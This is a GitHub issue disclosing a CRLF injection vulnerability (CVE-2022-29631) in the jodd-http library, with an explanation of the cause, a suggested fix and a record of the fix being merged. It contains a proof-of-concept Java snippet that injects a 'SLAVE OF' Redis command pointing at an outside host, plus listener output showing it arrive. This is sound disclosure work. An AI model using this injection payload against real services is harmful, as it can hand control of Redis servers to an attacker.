

New issue

[Jump to bottom](#)

CRLF injection vulnerability in jodd-http #9

✓ Closed

1nhann opened this issue on Apr 17 · 0 comments

Assignees



Labels

bug good first issue

1nhann commented on Apr 17 • edited ▾

Contributor

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29631>

CRLF injection vulnerability in jodd-http

CRLF injection vulnerability in `jodd.http.HttpRequest#set` and `jodd.http.HttpRequest#send` in `jodd-http` version 5.0.x , 5.1.x , 5.2.x , 6.0.x , 6.1.x , 6.2.x (**all versions so far**) , allows remote attackers to inject arbitrary TCP payload via CRLF sequences in a URL .

Proof of concept :

```
<dependency>
  <groupId>org.jodd</groupId>
  <artifactId>jodd-http</artifactId>
  <version>6.2.0</version>
</dependency>
```

```
package top.inhann;
```

```
import jodd.http.HttpRequest;
import jodd.http.HttpResponse;
```

```
public class Test {
    public static void main(String[] args) {
        String url = "http://127.0.0.1:6379/ HTTP/1.1\r\nHost: 127.0.0.1:6379\r\n\r\nSLAVE OF inhann.
        HttpRequest req = HttpRequest.get(url);
```

```
        HttpResponse res = req.send();  
    }  
}
```

run the poc , listen on 127.0.0.1:6379

```
C:\>nc -lp 6379  
GET / HTTP/1.1  
Host: 127.0.0.1:6379  
  
SLAVE OF inhann.top:6379  
  
POST / HTTP/1.1  
Connection: Close  
Host: 127.0.0.1:6379  
User-Agent: Jodd HTTP
```

details :

in `jodd.http.HttpRequest#set()` when processing path , `this.path(destination);` is called , and it is allowed to inject `\r\n` in query string and path and fragment .

in `jodd.http.HttpRequest#sendTo()` , `this.buffer(true);` is called , and trying to build the http request payload . However , the path , query string , fragment and other components are just appended insecurely , which leads to the crlf injection .

suggestion :

it is recommended to urlencode the invalid characters when constructing the http request payload .

  1nhann mentioned this issue on Apr 17


fix security issues #8

 Merged

→  igr transferred this issue from oblac/jodd on Apr 18

  igr self-assigned this on Apr 18

  **igr** added `bug` `good first issue` labels on Apr 18

 **igr** added a commit to 1nhann/jodd-http that referenced this issue on Apr 18

 Encode with URLCoder (closes [oblac#9](#))

926ff66

 **igr** closed this as completed in [e50f573](#) on Apr 18

  **ben-elttam** mentioned this issue on Sep 13

False Positive for pkg:gem/http@5.1.0 CVE-2022-29631 anchore/grype#921

 [Open](#)

Assignees

 **igr**

Labels

`bug` `good first issue`

Milestone

No milestone

Development

No branches or pull requests

2 participants